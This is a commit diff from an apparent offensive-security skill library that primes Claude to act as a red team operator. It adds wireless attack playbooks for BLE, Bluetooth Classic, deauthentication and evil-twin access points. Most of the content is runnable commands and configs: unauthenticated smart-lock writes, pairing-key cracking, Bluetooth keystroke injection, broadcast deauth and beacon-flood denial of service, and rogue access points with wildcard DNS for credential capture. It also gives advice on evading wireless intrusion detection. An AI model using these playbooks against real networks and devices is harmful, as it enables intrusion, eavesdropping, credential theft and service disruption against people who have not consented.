claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
Phase 3: Wireless split — 12 new focused skills (13 total in wireless/)
Claudec7b211b2a7d8
diff --git a/MINDMAP.md b/MINDMAP.mdnew file mode 100644index 0000000..a41b359--- /dev/null+++ b/MINDMAP.md@@ -0,0 +1,216 @@+# claude-red — Library Mindmap++A visual map of every skill in the library, by category. Use it to navigate, to discover skills you didn't know existed, and to spot coverage gaps before an engagement.++References for completeness checking: [MITRE ATT&CK](https://attack.mitre.org/), [HackTricks](https://book.hacktricks.xyz/), [OWASP WSTG](https://owasp.org/www-project-web-security-testing-guide/), [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings).++---++## Library Map++```mermaid+mindmap+ root((claude-red))+ Web+ sqli+ xss+ ssrf+ ssti+ xxe+ idor+ file-upload+ rce+ deserialization+ race-condition+ request-smuggling+ open-redirect+ parameter-pollution+ graphql+ waf-bypass+ business-logic+ Auth+ jwt+ oauth+ Active-Directory+ active-directory+ Wireless+ wifi+ wifi-recon+ wpa2-psk+ wpa3-sae+ wpa-enterprise+ wps+ evil-twin+ krack-fragattacks+ deauth-disassoc+ bluetooth-ble+ bluetooth-classic+ zigbee-thread-matter+ z-wave+ lorawan-sub-ghz+ Cloud+ cloud+ Mobile+ mobile+ IoT+ iot+ Infrastructure+ initial-access+ advanced-redteam+ edr-evasion+ shellcode+ keylogger-arch+ windows-mitigations+ windows-boundaries+ Exploit-Dev+ exploit-development+ exploit-dev-course+ basic-exploitation+ crash-analysis+ mitigations+ toctou+ Fuzzing+ fuzzing+ fuzzing-course+ bug-identification+ vuln-classes+ Recon+ osint+ osint-methodology+ AI+ ai-security+ Utility+ fast-checking+ reporting+```++---++## Coverage Cross-Reference++Use this table to confirm coverage of common offensive surfaces. If a row has no skill, it's a gap.++### Web Application (OWASP WSTG)++| Surface | Skill |+|---|---|+| Information gathering | `recon/offensive-osint`, `recon/offensive-osint-methodology` |+| Configuration / deployment | `web/offensive-waf-bypass` |+| Identity management | `auth/offensive-jwt`, `auth/offensive-oauth` |+| Authentication | _(planned: `web/auth-bypass`)_ |+| Authorization | `web/offensive-idor` |+| Session management | `auth/offensive-jwt`, `auth/offensive-oauth` |+| Input validation | `web/offensive-sqli`, `web/offensive-xss`, `web/offensive-xxe`, `web/offensive-ssti`, `web/offensive-ssrf` |+| Error handling | _(implicit across web skills)_ |+| Cryptography | _(planned)_ |+| Business logic | `web/offensive-business-logic` |+| Client-side | `web/offensive-xss`, `web/offensive-open-redirect` |+| API testing | `web/offensive-graphql` |++### Internal Network / Active Directory (MITRE ATT&CK Enterprise)++| Tactic | Skill |+|---|---|+| Reconnaissance | `recon/offensive-osint`, `active-directory/offensive-active-directory` |+| Initial Access | `infrastructure/offensive-initial-access` |+| Execution | `infrastructure/offensive-advanced-redteam` |+| Persistence | `active-directory/offensive-active-directory` |+| Privilege Escalation | `active-directory/offensive-active-directory` |+| Defense Evasion | `infrastructure/offensive-edr-evasion`, `infrastructure/offensive-windows-mitigations`, `infrastructure/offensive-windows-boundaries` |+| Credential Access | `active-directory/offensive-active-directory` |+| Discovery | `recon/offensive-osint`, `active-directory/offensive-active-directory` |+| Lateral Movement | `active-directory/offensive-active-directory`, `infrastructure/offensive-advanced-redteam` |+| Collection | `infrastructure/offensive-advanced-redteam` |+| Command and Control | `infrastructure/offensive-advanced-redteam` |+| Exfiltration | `infrastructure/offensive-advanced-redteam` |+| Impact | `infrastructure/offensive-advanced-redteam` |++### Wireless++| Surface | Skill |+|---|---|+| Recon / war-driving | `wireless/offensive-wifi-recon` |+| WPA2-PSK | `wireless/offensive-wifi` |+| WPA3-SAE | `wireless/offensive-wifi` |+| WPA-Enterprise | `wireless/offensive-wifi` |+| WPS | `wireless/offensive-wifi` |+| Evil twin / KARMA / Mana | `wireless/offensive-wifi` |+| KRACK / FragAttacks | `wireless/offensive-wifi` |+| Bluetooth (BLE + Classic) | `wireless/offensive-wifi` |+| Zigbee / Thread / Matter | `wireless/offensive-wifi` |+| Z-Wave | `wireless/offensive-wifi` |+| LoRa / sub-GHz | `wireless/offensive-wifi` |++### Cloud++| Provider / Surface | Skill |+|---|---|+| AWS — privesc, IMDS, persistence | `cloud/offensive-cloud` |+| Azure — privesc, IMDS, persistence | `cloud/offensive-cloud` |+| GCP — privesc, IMDS, persistence | `cloud/offensive-cloud` |+| Cross-cloud / OIDC trust | `cloud/offensive-cloud` |+| Hybrid identity (AAD Connect, ADFS) | _(planned: `cloud-identity/`)_ |++### Mobile++| Platform / Surface | Skill |+|---|---|+| Android static + dynamic | `mobile/offensive-mobile` |+| iOS static + dynamic | `mobile/offensive-mobile` |+| Firebase / cloud misconfig | `mobile/offensive-mobile` |+| Mobile API testing | `mobile/offensive-mobile` |+| Biometric / pinning bypass | `mobile/offensive-mobile` |++### IoT / Embedded++| Layer | Skill |+|---|---|+| Hardware recon | `iot/offensive-iot` |+| UART / JTAG / SWD | `iot/offensive-iot` |+| Flash extraction | `iot/offensive-iot` |+| Firmware analysis | `iot/offensive-iot` |+| Bootloader / secure boot | `iot/offensive-iot` |+| RTOS exploitation | `iot/offensive-iot` |+| ICS / OT protocols | `iot/offensive-iot` |+| MQTT / CoAP | `iot/offensive-iot` |++### Exploit Development++| Topic | Skill |+|---|---|+| Beginner / mitigations off | `exploit-dev/offensive-basic-exploitation` |+| Course curriculum | `exploit-dev/offensive-exploit-dev-course` |+| Stack / heap / ROP | `exploit-dev/offensive-exploit-development` |+| Modern mitigations | `exploit-dev/offensive-mitigations` |+| Crash triage | `exploit-dev/offensive-crash-analysis` |+| TOCTOU / race | `exploit-dev/offensive-toctou`, `web/offensive-race-condition` |++### Fuzzing & Vulnerability Research++| Topic | Skill |+|---|---|+| Coverage-guided fuzzing | `fuzzing/offensive-fuzzing` |+| Fuzzing curriculum | `fuzzing/offensive-fuzzing-course` |+| Static review patterns | `fuzzing/offensive-bug-identification` |+| Vuln class taxonomy | `fuzzing/offensive-vuln-classes` |++### AI Security++| Topic | Skill |+|---|---|+| Prompt injection / jailbreak / RAG | `ai/offensive-ai-security` |++### Utility++| Topic | Skill |+|---|---|+| Fast triage checklist | `utility/offensive-fast-checking` |+| Pro pentest reporting | `utility/offensive-reporting` |++---++## How to Use the Mindmap++- **Pre-engagement:** Walk the relevant category branch and confirm a skill exists per surface in scope. Gaps you spot here are gaps in the engagement plan.+- **During engagement:** Click into the category for the surface you're testing; load only those skills into Claude.+- **Post-engagement:** Cross-check findings against the relevant Mindmap branches to ensure no surface was skipped.diff --git a/README.md b/README.mdindex cb88c8f..6ce393e 100644--- a/README.md+++ b/README.md@@ -7,7 +7,7 @@**Offensive security skills for Claude — drop-in `SKILL.md` files that turn Claude into a context-aware red team operator.**[](LICENSE)-[](#skill-index)+[](#skill-index)[](#categories)[](https://github.com/SnailSploit/claude-red)[](https://github.com/SnailSploit/claude-red/network/members)@@ -100,7 +100,7 @@ Paste the contents of a `SKILL.md` into a Project's system prompt or prepend to| [Web Application](#web-application) | 16 | OWASP Top 10 + business logic + advanced web bug classes || [Auth & Identity](#auth--identity) | 2 | JWT, OAuth || [Active Directory](#active-directory) | 1 | On-prem AD attack methodology *(expanding)* |-| [Wireless](#wireless) | 1 | 802.11, WPA2/3, EAP, BLE, Zigbee, sub-GHz *(expanding)* |+| [Wireless](#wireless) | 13 | 802.11, WPA2/3, EAP, WPS, evil-twin, BLE, Zigbee, Z-Wave, LoRa, sub-GHz || [Cloud](#cloud) | 1 | AWS / Azure / GCP attack paths *(expanding)* || [Mobile](#mobile) | 1 | Android + iOS pentest *(expanding)* || [IoT & Embedded](#iot--embedded) | 1 | Hardware, firmware, RTOS, ICS *(expanding)* |@@ -163,9 +163,20 @@ Paste the contents of a `SKILL.md` into a Project's system prompt or prepend to| Skill | Description ||---|---|-| [`offensive-wifi`](Skills/wireless/offensive-wifi/SKILL.md) | 802.11 — WPA2/3/EAP, KARMA/Mana, KRACK, WPS, BLE, Zigbee, sub-GHz |--> **Note:** Being split into 12 focused skills. See [Roadmap](#roadmap).+| [`offensive-wifi`](Skills/wireless/offensive-wifi/SKILL.md) | 802.11 overview — entrypoint into the wireless category |+| [`offensive-wifi-recon`](Skills/wireless/offensive-wifi-recon/SKILL.md) | Adapter selection, monitor mode, multi-band airspace mapping |+| [`offensive-wpa2-psk`](Skills/wireless/offensive-wpa2-psk/SKILL.md) | Handshake capture, PMKID, hashcat 22000 cracking |+| [`offensive-wpa3-sae`](Skills/wireless/offensive-wpa3-sae/SKILL.md) | Transition-mode downgrade, Dragonblood, SAE side-channels |+| [`offensive-wpa-enterprise`](Skills/wireless/offensive-wpa-enterprise/SKILL.md) | 802.1X / EAP attacks, eaphammer evil-twin RADIUS |+| [`offensive-wps`](Skills/wireless/offensive-wps/SKILL.md) | Pixie Dust, online PIN brute, vendor PIN generators |+| [`offensive-evil-twin`](Skills/wireless/offensive-evil-twin/SKILL.md) | KARMA, Mana, captive portal, post-association MITM |+| [`offensive-krack-fragattacks`](Skills/wireless/offensive-krack-fragattacks/SKILL.md) | KRACK + FragAttacks supplicant testing |+| [`offensive-deauth-disassoc`](Skills/wireless/offensive-deauth-disassoc/SKILL.md) | Targeted/broadcast deauth, PMF awareness, action frames |+| [`offensive-bluetooth-ble`](Skills/wireless/offensive-bluetooth-ble/SKILL.md) | BLE GATT enum, pairing downgrade, sniffing, MITM |+| [`offensive-bluetooth-classic`](Skills/wireless/offensive-bluetooth-classic/SKILL.md) | BR/EDR — SDP, SPP, KNOB, BlueBorne, HID spoofing |+| [`offensive-zigbee-thread-matter`](Skills/wireless/offensive-zigbee-thread-matter/SKILL.md) | 802.15.4 mesh — KillerBee, Touchlink abuse, ZCL command injection |+| [`offensive-z-wave`](Skills/wireless/offensive-z-wave/SKILL.md) | S0 key derivation flaw, S2 commissioning, hub pivots |+| [`offensive-lorawan-sub-ghz`](Skills/wireless/offensive-lorawan-sub-ghz/SKILL.md) | LoRaWAN ABP/OTAA, KeeLoq garage doors, fixed-code, TPMS |### Clouddiff --git a/Skills/wireless/offensive-bluetooth-ble/SKILL.md b/Skills/wireless/offensive-bluetooth-ble/SKILL.mdnew file mode 100644index 0000000..e81d3e8--- /dev/null+++ b/Skills/wireless/offensive-bluetooth-ble/SKILL.md@@ -0,0 +1,194 @@+---+name: offensive-bluetooth-ble+description: "Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE."+---++# Bluetooth Low Energy (BLE) Attacks++BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.++## Quick Workflow++1. Discover and enumerate the device's GATT tree+2. Test every characteristic for read/write/notify without authentication+3. Inspect pairing method — Just Works = no MITM protection+4. If Just Works, MITM the pairing to capture / inject+5. Reverse the companion app for proprietary command formats++---++## Discovery + GATT Enumeration++```bash+# bettercap (interactive)+sudo bettercap -eval "ble.recon on; events.show 60; ble.show"++# Or, attach to a known-MAC device+sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"++# bluetoothctl+bluetoothctl+> scan on+> connect AA:BB:CC:DD:EE:FF+> menu gatt+> list-attributes++# gatttool (deprecated but still works)+gatttool -b AA:BB:CC:DD:EE:FF -I+> connect+> primary # list services+> char-desc # list characteristics+> char-read-uuid <uuid>+> char-write-req <handle> <hex>+```++GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.++## Characteristic Auth-Free Read/Write++Test every characteristic flagged read/write/notify:++```bash+# Read all readable characteristics+for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do+ echo "=== Handle $h ==="+ gatttool -b <MAC> --char-read --handle=$h+done++# Write to writable characteristics with crafted values+gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01+```++Common findings on consumer BLE devices:+- Door locks: `unlock` characteristic accepts any write (no auth)+- Smart bulbs: brightness/color writeable from any peer+- Wearables: PIN/lock-state readable+- BLE beacons: configurable from any peer (rebrand attacks)++## Pairing Method Identification++```bash+# Bluetoothctl shows pairing method on initial pair attempt+bluetoothctl+> pair AA:BB:CC:DD:EE:FF+# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works+```++| Method | Security | Attack |+|---|---|---|+| Just Works | None — authenticates anything | Trivial MITM during pairing |+| Numeric Comparison | User confirms 6-digit code | UI manipulation only; crypto strong |+| Passkey Entry | 6-digit code entered or displayed | Brute attack on passkey crackable in some pairing variants |+| Out of Band (OOB) | NFC / QR exchange | Out of scope for BLE attacker |++**LE Legacy Pairing** uses TK derivation that's crackable from a captured pairing exchange. **LE Secure Connections** (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.++## Sniffing the Pairing Exchange++```bash+# TI CC1352-based: Sniffle (modern, multi-channel)+sudo Sniffle -c 37,38,39 -o pairing.pcap++# Ubertooth (older but well-supported)+ubertooth-btle -f -c pairing.pcap++# Then in Wireshark, decode with crackle+crackle -i pairing.pcap -o decrypted.pcap+# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks+```++For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."++## Active MITM During Pairing++```bash+# btproxy / mirage-action-with-mitm — relay between device and victim's phone+mirage-action-with-mitm+# Or:+git clone https://github.com/Charmve/btproxy+sudo python btproxy.py+```++If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.++## Companion App Reverse Engineering++For vendor-defined characteristics, the format is in the app:++```bash+# Pull APK+adb pull /data/app/com.vendor.app/base.apk++# Decompile+jadx -d app_src base.apk++# Find BLE writes+grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/++# Look at the bytes the app writes vs. observed in-air values+```++Hand off to `offensive-mobile` for deeper companion analysis.++## Specific Device Classes++### Smart Locks++- Test `unlock` characteristic for unauth write+- Test if rolling token is replayable (capture-and-replay within window)+- Check for hardcoded LTK in firmware (chip-off + binary analysis — see `offensive-iot`)++### Cars (BLE Phone-as-Key)++- Relay attacks (extending range with two SDR-equipped relays, see Tesla research 2022)+- Pairing-state machine flaws++### Medical Devices++- Often use unauthenticated GATT for telemetry — read PHI as a proximity-based attacker+- Some allow remote configuration (insulin pumps, pacemakers — coordinate disclosure carefully)++### Beacons (iBeacon, Eddystone)++- Often configurable with default password (`0000`, `12345678`, vendor-specific)+- Rebrand for tracking-confusion or counter-marketing++## Detection Considerations++- BLE has no native intrusion detection comparable to Wi-Fi WIDS+- Vendor cloud may detect anomalous characteristic patterns (rare)+- Pairing failure logs visible to user — multiple Just Works prompts may trigger suspicion++## Engagement Cheatsheet++```bash+# 1. Discover+sudo bettercap -eval "ble.recon on; events.show 60"++# 2. Connect + enum GATT+sudo bettercap -eval "ble.enum <MAC>"++# 3. Probe every characteristic for unauth read/write+for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done++# 4. Inspect pairing — Just Works detected?+bluetoothctl pair <MAC>++# 5. If Just Works: sniff during real pair, crack LTK with crackle+sudo Sniffle -c 37,38,39 -o pair.pcap+crackle -i pair.pcap++# 6. RE companion app for proprietary commands+jadx -d app_src vendor.apk+```++---++## Key References++- Sniffle: github.com/nccgroup/Sniffle+- crackle: github.com/mikeryan/crackle+- bettercap BLE module: bettercap.org+- Bluetooth Core Spec 5.x — Volume 3 (Host) for GATT/SMP+- "Bluetooth Low Energy Hacking" (Cap Gemini, NCC research)+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-bluetooth-classic/SKILL.md b/Skills/wireless/offensive-bluetooth-classic/SKILL.mdnew file mode 100644index 0000000..7cf477b--- /dev/null+++ b/Skills/wireless/offensive-bluetooth-classic/SKILL.md@@ -0,0 +1,156 @@+---+name: offensive-bluetooth-classic+description: "Bluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories."+---++# Bluetooth Classic (BR/EDR) Attacks++Older than BLE, less commonly attacked today, but still present in cars, industrial sensors, audio gear, and legacy enterprise hardware. Many of the well-known historic attacks (BlueSnarf, BlueBug) are mitigated; KNOB and the BlueBorne family remain relevant against unpatched devices.++## Quick Workflow++1. Discover devices with `hcitool` / `bluetoothctl` / `redfang`+2. Enumerate exposed services via SDP+3. Test each service profile for unauth access+4. Check pairing crypto (KNOB applicability)+5. Proximity-physical attacks for legacy / unpatched++---++## Discovery++```bash+# Modern adapter (built-in or USB Bluetooth 4.0+)+sudo hciconfig hci0 up+sudo hcitool inq # inquiry+sudo hcitool scan --length=12 # 12-second scan++# bluetoothctl interactive+bluetoothctl+> scan on+> devices++# Discoverable-mode-only devices appear; non-discoverable need address brute+sudo redfang -r 00:00:00:00:00:00-FF:FF:FF:FF:FF:FF+# (very slow — ~7 hours per OUI prefix)+```++## Service Discovery (SDP)++```bash+# List all services on a device+sdptool browse AA:BB:CC:DD:EE:FF+sdptool records AA:BB:CC:DD:EE:FF+```++Common profiles and their attack relevance:++| Profile | UUID | Attack |+|---|---|---|+| OBEX Object Push (OPP) | 0x1105 | BlueSnarf/BlueBug on legacy phones (mostly extinct) |+| OBEX File Transfer (FTP) | 0x1106 | Browse / write filesystem on legacy devices |+| Headset (HSP/HFP) | 0x1108 / 0x111E | Eavesdrop active call audio |+| Serial Port Profile (SPP) | 0x1101 | Industrial/IoT debug ports — often unauthenticated |+| HID | 0x1124 | Keyboard/mouse impersonation |+| Audio Sink/Source (A2DP) | 0x110B / 0x110A | Audio injection/eavesdrop |++## SPP Abuse++The Serial Port Profile (SPP) tunnels arbitrary data over Bluetooth as a virtual COM port. Industrial / IoT devices use it for debug or telemetry, often without authentication.++```bash+# Connect to SPP service, channel typically 1+sudo rfcomm bind /dev/rfcomm0 AA:BB:CC:DD:EE:FF 1+sudo screen /dev/rfcomm0 9600+# Then interact with the device's CLI / debug menu+```++## KNOB (CVE-2019-9506)++Forces Bluetooth pairing to negotiate a 1-byte encryption key — making the link key trivially brute-forceable.++```bash+# Test with internalblue (requires Broadcom firmware patch)+git clone https://github.com/seemoo-lab/internalblue+internalblue+> log keys+# Patch firmware to allow 1-byte key; pair with target; observe weak key+```++Patched in firmware on most modern devices. Still works against:+- Older Broadcom-based devices (pre-2019 BCM chipsets)+- Embedded automotive Bluetooth stacks+- Cheap consumer audio gear++## BlueBorne (CVE-2017-1000251 et al.)++A family of buffer overflows / info leaks in major Bluetooth stacks (Linux BlueZ, Android, Windows, iOS). Mostly patched 2017–2018, but unpatched embedded Linux devices are common.++```bash+# Armis blueborne-scanner — checks for patch-level+git clone https://github.com/ArmisSecurity/blueborne+python blueborne_scanner.py AA:BB:CC:DD:EE:FF+```++## HID Spoofing (PoC)++If pairing succeeds via Just Works or weak PIN, you can register as a HID device — keystroke injection on an unattended Bluetooth-paired host.++```bash+# bdaddr + HID example — register custom HID on rfcomm+hcitool dev+hciconfig hci0 class 0x000540 # HID device class+sdptool add HID+# Use a HID descriptor crafted as keyboard, send keystrokes+```++## Audio Eavesdropping++If a target has Bluetooth headset paired and active, and you can re-pair (PIN brute or KNOB):++- HSP/HFP profiles let you become the peer and receive audio+- Some firmware allows simultaneous peer connections — eavesdrop without disrupting++## Engagement Cheatsheet++```bash+# 1. Discover+sudo hcitool inq++# 2. Enumerate services per device+sdptool browse <MAC>++# 3. SPP (industrial/IoT) — connect and explore+sudo rfcomm bind /dev/rfcomm0 <MAC> 1+sudo screen /dev/rfcomm0 9600++# 4. Patch-level scan+python blueborne_scanner.py <MAC>++# 5. KNOB testing (with adapter that supports internalblue)+internalblue → log keys → re-pair target++# 6. Document profiles, auth state, exposed commands per device+```++## Detection++- No native Bluetooth Classic IDS in most environments+- Active inquiry visible to nearby Bluetooth-aware monitoring (rare)+- Re-pairing prompts on target devices may surface to users++## Reporting++- Identify chipset + firmware version per device (often visible in service records)+- Map CVE applicability (BlueBorne, KNOB, BlueFrag, et al.)+- Document specific profile abuses (SPP exposed without auth, HID spoofing successful, etc.)++---++## Key References++- internalblue: github.com/seemoo-lab/internalblue+- KNOB attack: knobattack.com+- BlueBorne: armis.com/blueborne+- Bluetooth Core Spec — Volume 2 (BR/EDR Controller)+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-deauth-disassoc/SKILL.md b/Skills/wireless/offensive-deauth-disassoc/SKILL.mdnew file mode 100644index 0000000..d5a7ea8--- /dev/null+++ b/Skills/wireless/offensive-deauth-disassoc/SKILL.md@@ -0,0 +1,132 @@+---+name: offensive-deauth-disassoc+description: "Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture."+---++# Deauth / Disassoc Attacks++The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.++## Quick Workflow++1. Identify target client + AP (BSSID, channel)+2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)+3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks+4. Send the deauth burst at the right rate++---++## Single-Client Deauth (Preferred)++Used to force handshake capture, push client to evil twin, or test reconnection behavior.++```bash+sudo aireplay-ng --deauth 5 \+ -a AA:BB:CC:DD:EE:FF \ # AP BSSID+ -c 11:22:33:44:55:66 \ # client MAC+ wlan0mon+```++- `--deauth 5` sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.+- More than 30 in a burst is unnecessarily noisy.++## Broadcast Deauth (DoS, Use Sparingly)++```bash+# Single AP, all clients+sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon+# --deauth 0 = continuous++# Multiple APs from a list+sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11+```++Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.++## PMF (802.11w) Awareness++PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:++```bash+sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>+# PMF column: Required / Capable / Off+```++| PMF Status | Deauth Effect |+|---|---|+| Off | Classic deauth works |+| Capable (optional) | Works against clients without PMF, fails against PMF-enabled clients |+| Required | Classic deauth ignored — must use action-frame attacks |++## Action-Frame Attacks Against PMF++PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:++```bash+# mdk4 multi-tool attacks+sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients+sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense+sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood+```++Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.++## Beacon Flooding++Confuse clients (and WIPS) by flooding fake beacons:++```bash+sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100+# Floods 100 beacons/sec for ESSIDs in the file+```++Use cases:+- Hide your evil twin among noise+- Stress-test client roaming logic+- DoS WIPS dashboards (flood with thousands of fake APs)++## Rate Tuning and Detection++| Burst | Defender Signal |+|---|---|+| 3–10 deauth, single client | Often misclassified as roaming or RF noise |+| >30 deauth/sec from one source | WIPS rule trips |+| Continuous broadcast deauth | Clear DoS — alert + ticket within minutes |+| Beacon flood >50/sec | Saturates WIPS dashboards |++Randomize source MAC across burst-and-pause cycles to spread the signal.++## Engagement Cheatsheet++```bash+# 1. Recon — note PMF status per target+sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>++# 2. Single-client deauth for handshake capture+sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon++# 3. PMF blocking? Try action-frame attacks+sudo mdk4 wlan0mon a -a <BSSID>++# 4. DoS scenario (authorized)+sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon+```++## Reporting++Document for each test:++- Target BSSID + ESSID + PMF status+- Burst size, duration+- Effect observed (client reconnected? handshake captured? DoS achieved?)+- Detection signals defender would have seen++---++## Key References++- aireplay-ng documentation+- mdk4: github.com/aircrack-ng/mdk4+- IEEE 802.11w-2009 (PMF spec, now folded into 802.11-2020)+- "Why MAC Address Randomization Doesn't Work" — research on action-frame leakage+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-evil-twin/SKILL.md b/Skills/wireless/offensive-evil-twin/SKILL.mdnew file mode 100644index 0000000..beb4b7c--- /dev/null+++ b/Skills/wireless/offensive-evil-twin/SKILL.md@@ -0,0 +1,220 @@+---+name: offensive-evil-twin+description: "Evil Twin / KARMA / Mana access point methodology — rogue AP construction with hostapd-mana / wifiphisher / airgeddon, KARMA universal probe response, Mana selective probe response, captive portal phishing, deauth-driven client coercion to attacker AP, MAC randomization defeat via PNL leak analysis, post-association MITM (DNS, ARP, transparent proxy), credential capture for portal/web/SMB, and detection-evasion tactics. Use to coerce client devices onto an attacker-controlled AP, intercept their traffic, harvest credentials, or deliver payloads via captive portal."+---++# Evil Twin / KARMA / Mana++Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires.++## Quick Workflow++1. Discover target ESSID(s) clients are looking for (PNL — Preferred Network List)+2. Stand up rogue AP advertising matching ESSID(s)+3. (Optional) Deauth clients off legitimate AP to push them toward yours+4. Run captive portal / transparent MITM+5. Capture creds, deliver payload, or harvest sessions++---++## Variants++| Variant | Mechanic | Use Case |+|---|---|---|+| **Evil Twin** | Same ESSID + BSSID as legit AP | Open or PSK-known networks (ISP cafe Wi-Fi, public guest) |+| **KARMA** | Respond "yes" to every probe request | Clients with broad PNLs (most older devices) |+| **Mana** | Respond selectively to probes per-client | KARMA-aware MAC randomization defenses |+| **Known Beacons** | Beacon a list of likely-known ESSIDs | Wide-net attraction without seeing probes first |+| **Captive Portal** | Force splash page on association | Phishing, payload delivery |++## Open / PSK-Known Evil Twin++Use when you know (or have cracked) the PSK.++```bash+# wifiphisher — opinionated automation including portal templates+sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd++# airgeddon (interactive menu, good for one-off)+sudo airgeddon+# → Evil Twin attacks menu → Captive Portal++# Manual: hostapd + dnsmasq + iptables redirect+cat > /tmp/hostapd.conf <<EOF+interface=wlan0+driver=nl80211+ssid=CorpWiFi+hw_mode=g+channel=6+auth_algs=1+wpa=2+wpa_passphrase=KnownPSK+wpa_key_mgmt=WPA-PSK+rsn_pairwise=CCMP+EOF+sudo hostapd /tmp/hostapd.conf &++# DHCP/DNS via dnsmasq+cat > /tmp/dnsmasq.conf <<EOF+interface=wlan0+dhcp-range=10.10.10.10,10.10.10.50,12h+dhcp-option=3,10.10.10.1+dhcp-option=6,10.10.10.1+address=/#/10.10.10.1 # wildcard DNS to attacker+EOF+sudo dnsmasq -C /tmp/dnsmasq.conf -d+```++## KARMA — Universal Probe Response++```bash+# hostapd-mana with KARMA mode enabled (mana_mode=1)+cat > /tmp/karma.conf <<EOF+interface=wlan0+ssid=KARMA+hw_mode=g+channel=6+mana_loud=1+mana_macacl=0+EOF+sudo hostapd-mana /tmp/karma.conf+```++Modern clients with MAC randomization probe with random MACs and a randomized PNL — KARMA's universal-yes response is now triggers on probes the client wouldn't actually associate to. Use Mana for better selectivity.++## Mana — Selective Per-Client Response++```bash+# hostapd-mana (default mode is mana, not loud)+cat > /tmp/mana.conf <<EOF+interface=wlan0+ssid=Free-WiFi+hw_mode=g+channel=6+mana_mode=1+mana_macacl=0+mana_outfile=/tmp/mana.log+EOF+sudo hostapd-mana /tmp/mana.conf+```++Mana tracks MAC → ESSID-probe-list. When that MAC associates, Mana picks one realistic ESSID from its observed probe list and responds consistently. Defeats KARMA-aware client-side mitigations.++## Known Beacons Attack++```bash+# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons+eaphammer --essid-file likely_essids.txt --hostile-portal+# likely_essids.txt: airport, cafe, hotel, office defaults from open intel+```++Beacons attract spontaneous association from devices whose PNLs include these names. Useful when you don't see probes (modern devices broadcast fewer probes than they used to).++## Deauth Coercion++Push existing clients off legitimate AP to your evil twin:++```bash+# On a different interface (or after stopping airbase-ng)+sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2+```++Combined with stronger signal (closer position) or higher TX power on your AP, the client roams to you on reconnection.++**Detection trade-off:** broadcast deauth is loud; targeted single-client deauth is quieter. PMF (802.11w) blocks unencrypted deauth — see `offensive-deauth-disassoc`.++## Captive Portal / Credential Capture++```bash+# Portal options in eaphammer / 